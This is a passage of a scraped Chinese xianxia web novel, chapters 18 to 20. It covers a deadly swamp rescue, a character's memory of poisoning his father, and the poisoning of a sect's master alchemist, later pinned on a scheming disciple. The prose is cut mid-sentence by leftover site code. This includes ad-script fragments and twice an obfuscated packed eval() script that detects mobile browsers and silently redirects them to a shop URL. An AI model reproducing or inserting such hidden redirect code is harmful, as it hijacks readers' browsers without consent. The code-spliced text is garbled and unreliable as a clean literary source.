所有人都愣住了,气氛一时有些尴尬。 秦炎其实话一出口便有些懊恼,但已经说了,只能硬着头皮继续,本以为对方会欣然接受,没想到她竟不等自己说完便直接拒绝。 身为宗主,他委实觉得有些没面子。 丹药峰这么重要的一脉,一直以来却人才凋零,好不容易来了个让人惊艳的,他太过急于留住人才了。 “我父亲去世得早,”苏一枝说,“他们都说我克父,必然也克夫。曾经的道侣生怕被我克到,跟我断了关系,和他的青梅在一起了。我在我们那儿,颇有些名声,都说男人靠近我会倒霉。我来离火宗,也有这方面的原因,我想大门大派的必然不会有这种莫名其妙的传言。即使有,也不会有人相信。” 祝从容碰了碰苏一枝胳膊,低声道:“这些你以前怎么没说过。” 苏一枝低下头:“也不是什么光彩的事。” “罢了,今天是我唐突。”秦炎递出一张纸,“照着这些炼一批药,离火宗全体弟子都需要提升一下。” 苏一枝接过纸,看了一眼,递给祝从容,祝从容一看,两腿一软,瘫倒在地:“招人,丹药峰必须再招人。” 直到秦炎彻底离开,看不到身影,柳益才说:“你今天怪怪的,如果敢对宗主起什么心思,别怪我不顾师徒情分。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“嗳?”祝从容纳闷,“为什么这么说?苏苏也没给宗主什么好脸色啊。” “有个词叫欲擒故纵。” “师父,你想多了,我可没你那么多心思。我去药材库清点药材,接下来有我们忙的了。” 待她走后,祝从容小声说:“我觉得苏苏不是那种人。你看她平日里就连衣领都比别人要高些紧些,不似有些女弟子,喜欢将门派服的领口改得越低越好。估计是第一次这么近距离见到宗主这等地位尊贵又风华绝代之人,反应有些大,也是正常的。” 就在丹药峰每个人都忙于炼药的日子里,离心殿传来了好消息,林木儿怀孕了。 她特意来了丹药峰一趟,感谢柳益的新药方,顺便又让柳益炼了些安胎的药,指定要用玄天鼎炼。 苏一枝知道,柳益定是将那枳枳花加入他的“新药方”了。 清点好要柳益炼的丹药名单,林木儿忽然状似不经意地问苏一枝:“上次钟仙过来,你跟她说了什么?” “钟仙?”苏一枝想了会,恍然大悟,“哦,她嫌仙肌道骨丹不好,我向她解释了如今效果不如以前的原因。” “原因在荒芜沼泽深处?” “何意?” “她带着林桐桐,去沼泽深处说要找什么草,被困住了,向宗门求援,你不知道?” “我怎么会知道?青木宗白金宗接到求援难道会先通知我?” “哼,你最好不是故意的。” 苏一枝知道钟仙必然会去沼泽寻找灵草,但没想到林桐桐也跟着去了。 她近日忙着完成秦炎下达的炼药任务,几乎被困在了炼药房。每日里好不容易抽出时间进寂灭秘境,都是抓紧修炼,倒是没有太去注意每个目标的动向。主要是,网已然撒了出去,大部分人都在网里,她也就不是那么在意细节了。 向祝从容打听了一下,才知道,就在昨日,钟仙和林桐桐分别向白金宗及青木宗发了求援信号。 白金宗不少人已经出发,但青木宗这边,因为林桐桐母亲早亡,父亲是林家旁支,不被看重不说,也根本不记得有她这么个女儿。师父么,本身地位一般,同样也不太将她放在心上,所以一时竟无人愿意前往,最后是林河接下了这个任务。 苏一枝眼皮一跳。 又来了,那种完全摸不透对方,不知道对方究竟意欲何为的感觉。 每个人做事都有动机,钟仙想变美以讨林河欢心,所以她会为了灵草冒险。林桐桐么,大概是为了鱼跃才去的。女为己悦者容,这是她们的动机。可林河的动机是什么?为了钟仙?不太可能。据说他暗恋林木儿,是钟仙一直缠着他,他讨厌都来不及,更何况钟仙自有白金宗的人去救。 为了林桐桐?林桐桐在青木宗几乎透明,唯一的存在感是林木儿跟班,所以他为了林木儿,去救她的跟班? 这是苏一枝所能想到的唯一理由。 而为了解惑,她又不得不浪费自己修炼时间,去神木之端一探究竟。 这种节奏被打乱的感觉,真的很不爽。 18. 第 18 章 林河不知道苏一枝正在嫌他烦,就像他不知道自己曾被苏一枝列为头号猎杀目标。他正驾着自己的飞行法宝,按觅魂珠的指引,在沼泽里寻找林桐桐的身影。 如果他推测没错,钟仙二人应该是在青山城采买了一些物品,然后从西城门出发,一路向西,深入沼泽千里。 胆子真大。 不过,她们为什么要深入沼泽呢? 发现两人的时候,林桐桐正抱着浑身是血脸色乌青陷入昏迷的钟仙,勉力支起一个灵气屏障。那屏障根本抵挡不住对面灵兽的攻击,已然摇摇欲坠。 灵兽似虎非虎,背生双翅,皮毛光滑,目露凶光。 在它身后,有株两尺来高的灵草,兰花草一样,黄色的花随着沼泽里的腥风摇摆,有几朵花已经开败,结出红色果实,看来灵兽是在守护这株灵草。而在昏迷的钟仙手里,紧紧攥着几根丝状植物,淡黄色的花和青黄色果实被黄丝连在一起。 灵兽看到林河,显然吓了一跳,像是没想到还会有人来此,趁它愣神的功夫,林河扔了道屏障将两人罩住,短暂屏蔽她们,向那灵兽道:“我见过你,你现在有主了?” 灵兽耸了耸耳朵,眼里浮现一丝迷惘,凶狠的虎脸就显得有点可爱起来。 “如果你的主人是苏一枝,我们不要打了,你快些离开吧。我未必能赢你,但白金宗的人马上就到,不要让他们发现你。”林河又说。 见灵兽还在犹豫,他抬抬手,指尖黑气缭绕:“就算你能赢,也会中毒。我会对你用这沼泽上找不到解药的毒,你要让你主人当着白金宗那些人的面来救你吗?” 灵兽终于后退,它一口将身后那株灵草连根拔起,衔在嘴里,又看了林河一眼,飞奔而去。 林河松了一口气,那帮白金宗的人,在沼泽里迷了路,死的死伤的伤,但还是有不少坚持着摸了过来,应该很快就到了,他不想在此时跟灵兽拼得两败俱伤,让那些人撞个正着。 “怎么回事?”他撤掉屏障,问林桐桐。 “你是来救我的,还是来救钟仙的?” “有区别?” “如果你是来救钟仙的,我想知道青木宗是谁来救我。” “我。” 见林桐桐脸上有失落之意,林河补了句:“你应该庆幸,如果是别人,现在还在沼泽里迷着路呢,说不定一个都到不了。” “木儿知道这事吗?” “我是向她拿了你的东西,才这么快找到你。我很好奇,以你们俩的实力,是怎么来到这里的?” 按理该死在半路才对。 林桐桐低下头:“钟仙花了很多很多灵石,在青山城买了许多法宝,靠着那些法宝我们才……但法宝已经消耗完了。这沼泽好可怕,我再也不会来了。” “能出得去再说会不会来吧。” 林河没说谎,他可以独自出入沼泽,但不意味着可以带很多人安全离开。眼下的两个已经够麻烦了,待会还有白金宗的人。沼泽里不存在什么人多力量大,人越多,越有可能惊扰一些原本沉睡的东西。 钟仙服下解药后终于醒了过来,乌青的脸色也恢复正常。一眼看到林河,她微微晃神后立刻将脸转向林桐桐,几乎要埋进林桐桐怀里。 “我现在,可狼狈?”她小声问。 林桐桐皱眉,都什么时候了,怎么还关注这些。 但想到她们来此目的,代入自己和鱼跃,她马上又理解了,虽不甚情愿,却还是伸手将钟仙凌乱的发丝理顺,又用所剩不多的灵气施了个净尘诀:“现在好了。” 她自认做得很得体,很够义气,却没看到林河脸上的讥讽。 钟仙小心翼翼将手里的花放入储物袋,她很想现在就服下,可总不能当着林河的面大变活人,而且只拿到了荀草没拿到?草,变化后的容貌如何维持她实在不知道,只能带着这些回去找那苏苏药师再做打算。到时候慢慢将容貌变美,也能让人信服些。 眼下最重要的,是如何出去。 她们所有防护法宝都已损毁,不得已分别向宗门发出求救信号,然后布下灵气屏障以对抗沼泽里浓郁的毒气。可就在这时,她们看到了那两种灵草。 林桐桐呆在屏障里不敢出去,钟仙取草心切,冒着毒瘴刚采了荀草,那可怕的凶兽就来了。 钟仙本就毒气攻心,根本不是凶兽对手,凶兽只是冲她抬了下爪子,她就没了半条命,只得忍痛放弃剩下的灵草躲回灵气屏障内,然后就昏了过去。 幸好,林河来了。 这个清俊而又时常透着死气的少年人果然深不可测,平日里经常被人诟病的死气沉沉,不过是他的伪装罢了。周围都是臭不可闻俗不可耐之人,只有她,才是他的知音。 “往回赶吧,应该正好能遇上你们白金宗的人。”林河扔了道避瘴符给二人。 “你不让我们上你的飞行法宝吗?”钟仙问。 “只能容两人,你们谁上?” “那算了,还是你在上面带路吧。”林桐桐赶紧说。 钟仙私下白了她一眼,却也不好当着林河面多说什么,只得忍着疼痛和一肚子的气,被林桐桐搀扶着,一点一点往前走。 她们几乎灵气耗尽,无法使用飞行法宝,除非是像纸鸟那种完全不需要灵力的,可是谁会随身带着纸鸟? 如果直接走在沼泽里,会被毒气入侵而死,需要得撑着灵气屏障,或用灵力托着自己离沼泽地面一定距离,可她们那点仅剩的微弱灵力,顾此失彼。 有了避瘴符,就不用开灵气屏障了。 林河对她还是很好的。 这个面冷心热的少年。 三人就这样往沼泽外走,林河乘着飞行法宝在上,不时朝下面行走的钟仙和林桐桐扔一道符箓。 他其实可以给她们一些补充灵力的丹药,但林河不想这么做,一是不想,二是,他预感接下来会有场大战,他自己也会需要丹药。 不一会儿,林河就看到了白金宗那几个人的身影。 短短时间,他们竟又折了一个,目前还剩四人,都是靠法宝撑着。 林河叹了口气,一时不知道,如果只能选择一个人带出沼泽的话,该选谁。 他既然接下任务来了一趟,总不能两手空空回去。 白金宗四人皆是金丹后期,见到钟灵,几人扑通一声跪倒,心头一松,灵力一泄,双腿就陷入沼泽。 “钟武!钟滔!钟理!秦定国!起来,要用灵力托着自己,才不会陷进去!”钟仙叫道。 她们一直都是这样行走的,用灵力微微托着,否则会陷入沼泽,越陷越深,这沼泽,寻常人根本进不得。 “钟仙姑娘,终于找到你了!”钟武泪流满面,“也不枉我们25人只剩4个。” “现在说这些没有意义,若能出去,我自会让爷爷多赏你们几件法宝,以后白金宗都有你们的位置。” 荒芜沼泽里万籁俱寂,一行人向东而行。 不时有成团的毒雾突然出现,扑面而来,毒雾中目不可视,更看不清脚底突然窜过的是何种毒虫,而上头林河扔避瘴符的频率也越来越低。 “喂!上面那小子,你故意的是不是?成心想害我们都死在这里?”钟理在胳膊被一只毒蚁飞过迅速溃烂后,终于忍不住抬头朝林河吼了起来。 “你叫什么?他也很辛苦。”钟仙不悦,“要不是他,我们早死了,都不用等到现在。” “可他这样半天扔下来一张是什么意思?成心耍我们?”钟理不服。 “符箓所剩不多,很难坚持到出沼泽。”林河说。 众人一下子慌了。 “林河。”钟仙仰头看着那个让自己目眩神迷的少年,他坐在枯木状的飞行法宝上,姿势闲散,却宛若天神,“不如,让我上你的法宝吧。” 林河勾起嘴角,微微倾身,用只有她才能听到的声音:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 凭什么?凭你喜欢我?” 钟仙愣了愣,还未开口,就听秦定国叫道:“他的飞行法宝可以带人?那为何要让我们自己走?” “只能带一个。”林桐桐说。 “所以我上没有疑问吧?” “可林河是来救我的,白金宗这几个人才是来救你的。” “笑话,你的命怎么跟我的命比?” “你的意思是,不光要抢我的生存机会,还要抛下来救你的这几个人?” “懒得跟你废话。林河,林河!” 林河抛下一张避瘴符又扔了个疾行法阵:“我灵力所剩不多,飞行法宝已经不能带人。你们吵归吵,脚步别停。” 钟仙一听,冲白金宗四人道:“你们哪里是来救我的?简直是拖后腿来了。” “姑娘怎么能这么说,为了救你,我们一行25人只剩下4个。” “要不是你们耗废了他大量灵力,他本来可以带我走的,还好意思说,25人只剩4个,不正说明你们没用么?” 林河听着底下的吵闹,思绪却渐渐飘远。 万里沼泽的边缘,生着茂密丛林,丛林外面,零星分布着一些凡人村庄,大多是些没有灵力只能靠着在林子里冒险打猎生活的人,而他,曾经就生活在这样的村子里。 不过他所生活的村子更为奇特,比寻常村落更小更乱,靠沼泽更近,人也更少。 因为靠沼泽太近,阴暗潮湿,毒虫横行,其实不太适合人类居住。但那一带有种毒虫深得毒修喜爱,却又行动迅速无比,出现时间不固定,极其难捉,有些人为了赚钱,就在林子边住下来,冒着生命危险捉虫卖给毒修,时间长了,就形成了小村落。 人们称那个村子为——毒村。 林河在毒村生活了九年。 他从小就不怕毒虫,又过目不忘,能总结出毒虫行走出没路线,做出预判,因此每次拿着小瓷瓶出去,回来瓶子里至少也有三五只,多了能有十几只。 四岁那年的夏天,他在屋后林子里边玩边守毒虫,到傍晚时分,足足捉到七只,够一家三口好几天的伙食了。据说他的父母本来已经不准备干这捉毒虫的生计,想要离开,谁知得了他,简直像上天的恩赐,便继续在毒村住了下来。 林河晃着瓶子回家,走到门外,就听到只剩半截的土墙内传来母亲的声音:“这也太,太,那什么,会,会不会太残忍了?” 什么东西太残忍了?林河停住脚步,就听父亲怒骂:“残忍个屁!你想我一直没有自己孩子吗?” 母亲依旧是哭,结结巴巴地说小河挺好的,聪明,还能捉毒虫,这年头活着那么难,要不是他,兴许我们早就饿死了。 “你忘了他一岁时的事么?” “那么小的孩子,刚学会说话,净说些梦话也是有可能的。” “但他确实不怕毒虫,这怎么解释?行了行了,割了又不影响他捉虫,你那么心疼他难道他是你跟野男人生的?”父亲喝道。 割什么?林河茫然,但想了想,忽然又明白了,他靠着半堵土墙,很久没动。 “你怎么这么说话?我18岁就跟了你,要是生过孩子,你会不知道?”母亲一生气,原本轻微的口吃都好了,说话很是流利。 “那就别废话了,他只要活着,能捉虫子就好了。”父亲松了口气的样子,“等他回来,我按住,你割,然后煮了。哭什么哭,多大事,又不让你去割。” 林河没进院子,他放轻脚步,从院墙外绕到窗后,悄悄打开瓶塞,然后走远。 直到家中响起父母的尖叫声,林河才回去,一脸惊慌:“怎么了娘?” “你爹被毒虫咬了!” “爹!”林河扑向痛苦打滚的男人。 从那以后,父亲再没站起来过。 他喜欢看一些自己不喜欢的东西在眼前无尽挣扎,比如咬了他一口的毒虫小兽,比如父亲,再比如,那些人。 19. 第 19 章 钟仙死了。 白金宗宗主钟刚正在琢磨炼器时,被自家120岁的叔叔钟吾真骂上了门,说自己宝贝孙女出事了,他这个做叔叔的还在这里炼什么劳什子的破器,再琢磨也不会比离火宗炼得更好,天天琢磨,琢磨个屁。 钟刚纳闷:“你哪个孙女?” 钟家子女众多,年龄差距又十分巨大,他根本记不住谁谁谁,有时甚至连辈份都搞不清楚。 “钟仙!”钟吾真没好气,“前些日子她向宗门求援,我寻思着派25个精英弟子去足够了,就没跟你说,谁知……” 他跺脚:“没了!全没了啊!还有老秦家的,我可怎么交代。” 老秦家的?钟刚想了想,了然。应该是叫秦定国吧,祖父是离火宗老宗主秦旺亲兄弟,入赘到白金宗,管着矿脉,儿子辈还是姓钟,到了孙辈,就改回了秦姓,他也去了? 至于钟仙,那个比自己还大4岁的侄女,整天闹着不婚不育,因为被钟吾真催着嫁人,已经离家出走5年了。 没想到…… “怎么死的?”钟刚并没有钟吾真那么惊慌失措,这样大的宗门,死几个弟子实在不算什么。 虽说钟仙是他侄女,可他侄女何其多。 钟吾真替钟仙点了魂灯,必然知晓她身亡瞬间的情况。 “鱼跃,是鱼跃。”钟吾真咬牙切齿。 魂灯记录片段极短,他只来得及看清鱼跃的脸闪了一下,然后就是惊呼,再然后,魂灯灭了。 “无一活口?” “听说青木宗那个叫林河的小子,带着个女弟子逃了出来。可恶,竟然不救仙儿!” “你别着急,我先去青木宗问问情况。” “得把仙儿带回来啊。” “知道,先问清楚再说。” “我跟你一起去!” 钟刚其实不觉得人死了还有必要耗费精力去将尸身带回。 为了救钟仙,25名精英弟子全部丧命,再派人去带回尸身,不知道又要折损多少。 但钟吾真是白金宗现存年纪最长的老人了,各大宗门都对门中老人极为重视,只要可以,基本有求必应,不过得先把情况弄清楚,尽量做足准备,以减少损失。 “我不知道,我真的不知道。”林桐桐两眼无神,“我就看到,那,那个鱼跃,他忽然冒出来,冲到我们几人中间,钟仙姐姐跟白金门的四个人,一下子全倒了,变成了,变成了……我真的不知道……” 她哭了起来。 “鱼跃将他们全部变成了干尸,”林河道,“他动作太快了,我来不及也无力阻止。” “你既然能救这丫头,为何不救仙儿?”钟吾真怒问。 “我只来得及抢了一人便逃,若是还要挑拣选择,一个也救不了,自己也会折在那里。” 林桐桐看了林河一眼。 他们都没有完全说实话。 其实鱼跃出现时,并没有第一时间攻击大家,她还很兴奋叫了一声,问他怎么会在这里。 当时的鱼跃有点怪,不像之前和她见面时,风流倜傥,一把寒冰扇摇得人心神荡漾。眼下他周身阴云密布,身后还背着勾魂幡,幡上骷髅头晃动,鬼气森森。 “你们怎么会在这里?”鱼跃问出了几乎同样的问题。 “这地方,你常来吗?”钟仙上前,目光在两人之间来回转了两圈,“你们认识?” 就在这时,鱼跃发动了攻击。 勾魂幡上骷髅暴起,本就光线不明的沼泽里顿时黑天暗地。 “你!”钟仙话音未落,人已失了血肉,眼珠子掉出眼眶,整个人栽倒在地。 这一切发生太快,所有人都没来得及做出任何反应,林桐桐呆立原地,眼睁睁看着白金宗四人先后倒地,化身干尸。 她想逃,却动不了。 林河俯冲,伸手拉住她,想要将她带走,然而鱼跃的手也已毒蛇般缠住了林河手臂。 但他立刻挑眉:“你?” 林河没说话,甩开他的手臂,抓住林桐桐衣袖,催动法宝,全力往沼泽外冲去。 真是太可惜了,他本想亲手解决钟仙的。 他们逃出来了,但两人手臂相接的那一刻,究竟发生了什么让鱼跃没有动手,林桐桐不知道。 她也不知道鱼跃为何会面露惊讶。 她问过林河,林河说:“我怎么会知道?要不你去问鱼跃?你不是认识他吗?” 林桐桐便不敢再追问。 钟刚觉得这一趟真是白跑,什么有用的信息都没有问到。 不过姜还是老的辣,钟吾真表示,此事虽然是鱼跃所为,但林河营救不力,青木宗也有责任,必须得派人和白金宗的人一起再往沼泽,将钟仙尸首带回。 林潭同意了,并且指定了林河。 余芷私下里跟丈夫说:“你怎么都不帮着拒绝一下,林河刚死里逃生,灵力尚未恢复,青木宗大把英才,何必非得要他去?他要真死了,森儿以后就少了个依靠。” “他是这件事的亲历者,那么多人,只有他从沼泽出来了,还带了个人出来,谁有他合适?”林渊冷笑,“放心,我出一个儿子,他林潭身为宗主,怎么都得出两个才算有诚意。” 果然,过了几天,青木宗白金宗的联合捞尸队出发时,林潭长子林明次子林暗皆在队伍之中。 离火宗虽然没有出人,但是出了力,送来了大批丹药。 丹药峰几人面对着一批又一批的炼药任务,险些累到发疯。 关于钟仙的事,苏一枝通过寂灭空间和众人的闲聊以及团团,也知晓了大概。 其实林河跟团团说话时,她看得见也听得到,估计林河不知道她的修为足以给灵兽打上神识烙印,否则,就不是对着团团说话,而是对她说了。 与灵兽结契,修为低者,以血相结,修为高者,则多是打上神识烙印。 苏一枝现在对外的修为是金丹初期。 林河既然相信了她是金丹初期,无法以神识烙印收服灵兽,却又认为她可以收服团团那样的高阶希有灵兽? 怎么想都觉得怪怪的,但苏一枝也并未深究。 本来她的计划是,让团团看着钟仙和林桐桐,让她们取到灵草,得到自己想要的容貌,然后再失去,那样才比较有意思。若只是要她们的命,勾勾手指头就能做到,可是那样又有什么意义呢? 都怪林河,打乱了她的计划。 苏一枝再次动了杀心,可她又觉得这人既然喜欢林木儿,留着也许有用。 她向祝从容打听林河,被柳益听到,让她不要对这位动什么心思。 “师父,你怎么老觉得我对这个动心思对那个动心思?我说了,我克夫,除非恨谁,不然不会对谁动心思。”苏一枝忍不住想翻白眼。 “我只是善意提醒。”柳益十分不爽这位徒弟对自己的态度,然而也知道对方有嚣张的资本,“你是我徒弟,改天闯了祸,人家还不是算到我头上?那林河,那林河有自己的心思,你对他无意更好。” “哦?”苏一枝来了精神,“他又是对谁有心思啊?” 柳益哼了一声,没有回答。 倒是祝从容小声说:“林河经常会来丹药峰,他不怎么说话,但偶尔会旁敲侧击打听宗主夫人。” “你是说?”苏一枝夸张地瞪大眼睛,眼前两人却谁也没察觉她的刻意。 祝从容点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968205|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林河是领养的,这不是秘密,大家都知道他们没有血缘关系。对了,你师父给我安排了个大任务,我得闭关炼药,外面这些药单,就麻烦你了。” 苏一枝:“……” 丹药峰到底为什么这么缺人啊? 接下来的时间苏一枝不得不埋头炼药。 她有时候会悲从中来,不明白自己到底是报仇来了,还是帮仇人炼药来了。但很多东西必须付出才会有收获,这是必经的过程。 每天可以进入空间的一个时辰她都充分利用,最近隐隐有要进入分神期的迹象,不过她不能在离火宗渡雷劫,又找不到借口外出,只得暂时放缓了修炼的脚步,多分出些时间来去观看仇人动向。 钟仙死得透透的,林桐桐惊魂未定,但近日时常拿起那堆从钟仙尸体里捞出的?草,若有所思,苏一枝猜她很快就会来找自己。 秦玉芝又怀孕了,原本她想跟着钟刚一起去替钟仙收尸,也因为发现怀孕而不得不留守白金宗。 秦炎没什么好说的,每日不是忙着安排离火宗各种事务,就是修炼。 至于林木儿,她做得最多的事,就是来丹药峰。 这日林木儿又来了,她最近觉得腹部不是很舒服,怀疑胎儿不稳,要再拿些安胎的药。 “夫人前些日子不是刚取过安胎药吗?算算日子,应该还有剩余。”苏一枝说。 林木儿不耐烦:“肚子不舒服,就多吃了些,怎么我吃个药还要受你管制么?” “安胎药吃多了,于身体并无益处。且最近丹药峰忙于炼制宗主吩咐的药,安胎药只要够用就行,没有多炼。” “胡说,我上次来时明明看到还有许多。” “近日多位长老夫人都有了身孕,所以消耗也很大。” “那就现炼!”林木儿耐心已然耗尽,一双杏目睁得滚圆,“这柳益真是分不清主次,难道提升灵力比保住我腹中胎儿更为重要吗?” 苏一枝指着案上餐盒:“我得给峰主送完饭,回来就帮夫人炼。” “我让你现在就炼!”林木儿气笑了,“我发现在你们丹药峰眼里,任何一个人都比我重要是不是?还是说,我现在脾气好,你们谁都可以给我脸色看?” “这……”苏一枝左右为难。 “你炼药,饭我去送。”林木儿拎起餐盒出了门,“回来的时候,我要拿到药。” 饭是给丹药峰闭关的峰主祝永浩送的。 以祝永浩的修为,当然不用再靠食物维持生命,但对于很多修士来说,谷可辟,食可断,对饭食的想念却不是轻易就能断掉。祝永浩虽然闭关,每日里却必须得让柳益这位得意弟子给自己送一次饭。 今日柳益刚出了一炉好药,忙着给各峰亲自送去,这送饭任务便落到了苏一枝头上。 其实药大可以让那些弟子跑腿,可柳益不放心,现如今他亲手出品的药,都是玄天鼎炼出来的,药效非比寻常,若是被哪个弟子给换了,可就说不清了。 柳益捧着药,依次去了灵兽馆,灵植园,路过朝露阁,去往符箓堂,刑法堂,然后再到炼器峰,同秦钟长老聊了会天,才带着最后的药来到离心殿。 但秦炎和林木儿都不在,倒是秦无忌在殿前同几个弟子打闹着。 “宗主呢?”柳益问。 “师父去青木宗了。”秦无忌笑嘻嘻,十五岁的少年,天资颇佳,又被宗主收为弟子,别的都好,就是有点没心没肺的。 “夫人也去了?”他刚才经过朝露阁,没见到林木儿。 “不,师娘不舒服,没去,她去你们丹药峰了呀。” 柳益心里咯噔了一下,忽然想起一件事,便又返回炼器峰,去找秦钟长老。 20. 第 20 章 柳益:“最近给师父送饭,经常听到山洞里传出奇怪的声音,我想着秦长老你与我师父最为熟悉,可知这是怎么回事?” “奇怪的声音?”秦钟摸了摸胡子,“怎么个奇怪法?” “就是说不出,才来请教您老人家。” “我跟你去瞧瞧。” 两人来到丹药峰,见苏一枝正在炼丹,忙得热火朝天,苍白的脸上难得浮现出一丝红晕。 “苏苏,给峰主送过饭了吗?”柳益问。 “送了。”苏一枝头也不抬。 “峰主他老人家可有说什么奇怪的话,或者发出些奇怪的声音?” 苏一枝终于抬头:“不知道,饭是夫人送的。” “什么?” 炼药房的珠帘挑起,林木儿走了出来。 “什么事?药炼好了吗?” “我师父问,送饭时,峰主可有说什么奇怪的话或发出奇怪的声音。”苏一枝准备将药出炉。 “方才柳益同我说,近日送饭时,永浩时常会发出怪异声音,他难以理解,便叫我一起来看看。”秦钟长老补充。 作为离火宗年纪最大的长老,135岁的秦钟看谁都是小辈,叫起人来也格外随意。 “什么奇怪的声音,没听到啊。”林木儿眼睛忽然一亮,“该不会是悟出了什么丹药秘方吧?离火宗要出宗师级丹药师了?” 一行人匆匆来到祝永浩闭关之处。 里面果然有动静。 仔细一听,却并非什么奇怪的话语,更像是呻吟声音。 秦钟以灵力传音:“永浩,你没事吧?” 没有回应。 “不对!”秦钟变了脸色,尝试进入,没有遇到任何阻挡,那为闭关而设的禁制已然不在。 禁制消失,有两个可能,一是主人取消了,二是,主人死了。 而眼下显然是后者。 祝永浩,这位离火宗,也是当今天下唯一的大师级丹药师,已然没了气息。 举宗震惊。 苏一枝被众人押着,跪在离心殿。 这不是她第一次跪在离心殿。 当初她来找秦旺,告诉他自己并非被林木儿所救,而是被她关在青木宗地牢里,日夜折磨,那时秦炎让她下跪,她没有跪。 后来秦旺失踪,她被林木儿折磨得生不如死,众人将她押着来到这里,按着她下跪,她无力反抗,跪了。 那个时候,上面坐着的也是秦炎,他匆匆接任宗主之位,为了父亲的失踪而烦心,根本不想理这些事。林木儿说,不如送去思过崖好好反省反省,秦炎大手一挥,那就这样吧。 而如今,她再次被人按着,远远跪在秦炎脚下。 当年她无力反抗,甚是屈辱。 如今她轻而易举就可以反抗,却没有反抗。 她抬起头,看向坐在上面的秦炎。 到底是当了这么多年的宗主,秦炎的高高在上已经是由内而外散发,不再像当初那般,那么刻意。 就在前日,他刚刚渡完雷劫,成功进入出窍期,更显得志得意满,游刃有余。 苏一枝打赌即使此事真是自己所为,秦炎也不会对她怎么样,因为像他这样的人,最看重的唯有价值,而现在的自己,对他是有价值的。 他好像没有心,没有感情,当初秦旺失踪,离火宗遭遇那样的大难,也没见他掉一滴眼泪,有半分难过与慌张。 “苏苏,你如何解释?”秦炎的声音平静无波。 “我不知道如何解释,因为对此事毫不知情。” “你为何不知情?我出门前让你送饭,定是你将毒下在了饭菜里。”柳益怒目而视。 “饭菜是师父你准备了放在炼药房案上的,我并未碰过,后来夫人来炼药房,急着让我炼安胎药,便替我去给峰主送饭,从始至终,我都没有碰过餐盒。” 林木儿笑了:“这么说来,我还有重大嫌疑了?” 苏一枝脸色不变:“我不知道谁有嫌疑,反正我没有嫌疑。” 秦钟:“木儿身为宗主夫人,有何必要去害永浩?柳益是永浩徒弟,更不可能了。现在想来,倒是这苏苏,确实有点古怪,带着一身修为和玄天鼎半途进入离火宗,你该不会是黑水门派来的奸细吧?” 苏一枝看着一把年纪的秦钟,他不算坏人,但一向帮亲不帮理,想当初,为了秦玉芝,他也是表面理性公正,实则百般逼迫自己修改血灵书。 “秦长老说话要讲证据,随便就说别人是黑水门奸细,我若没办法证明自己,岂不要被你害死。” “你如何证明自己?”秦炎问。 苏一枝微微一笑:“大家都知道我父母游历天下,见识秘境无数,也得到各种奇异物品无数。” 她伸出手,指尖一枚钮扣大小的黑色圆石:“这叫玄影石,可以将周围发生的一切记录下来,过后回看用。我为了记录炼丹情况以供研究,每次炼药时,会在一旁放上一枚。炼药房发生一切,大家一看便知。” 说完她轻轻抚了抚玄影石,众人眼前浮现出丹药峰炼药房的场景。 苏苏忙于炼丹,柳益将食盒放在案上,说自己要去各峰派药,吩咐她记得给峰主送饭。 之后苏苏似是炼药忘记了送饭一事,直到林木儿来催她炼制安胎药,并将食盒拿走,替她送饭。 从头至尾,苏苏确实没有碰过食盒。 如果非要揪她错处,那便是她忙于炼药,饭送得不及时,若不是林木儿过来,那饭不知要等什么时候,才能送到祝永浩那里。 众人将目光转向柳益。 方才秦钟说苏苏带着修为半途进入离火宗,但其实柳益也算,他当初是青木宗的丹药师,后来觉得青木宗满足不了自己需求,才转投了离火宗。 柳益白了脸。 他想争辩,却也知道辩解无用了。 他靠着林木儿送来的资源以及讨好峰主,坐上丹药峰第二把交椅,这些年,但凡有些天赋的弟子,莫不被他打压,他牢牢把控着丹药峰的一切,直到苏苏的出现。 当初得知那丫头身怀宝物,便特招为自己的亲传弟子。也曾想过杀主夺宝,却又担心宝物不肯认他为主,耽搁了为林木儿炼药,迟迟未敢动手。 可是前几日,他给师父送饭时,听师父说想要出关了,他越想越觉得,这个关,师父不能出。 师父闭关时,玄天鼎在自己手里,丹药峰也在自己手里,可若师父出了关,这两者恐怕都要归师父所管。 柳益越想越不甘心,便萌生了一石二鸟的想法。 若是能借着苏苏的手除掉师父,那自己便会当仁不让成为丹药峰峰主,而苏苏最大可能是修为被废逐出师门,到时候自己为她求个情,让宗主留她修为,将她关在离火宗,她感激自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984610|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,玄天鼎便顺理成章依然为自己所用了。 谁知那丫头竟留了后手。 她真的每日都会放那什么玄影石在炼药房? 为何自己从未察觉? 还是说,她单单就这日,特意放了玄影石? 柳益不寒而栗。 “夫人救我!”柳益看向最后的救命稻草,“看在我来自青木宗的份上。” 林木儿愤怒:“你险些连我都算计进去,居然还敢让我救你?就因为你来自青木宗,才更不可饶恕!” 最终结果,柳益被废去修为,逐出离火宗,自生自灭,丹药峰峰主之位,几经讨论,落到了秦师宇的头上。 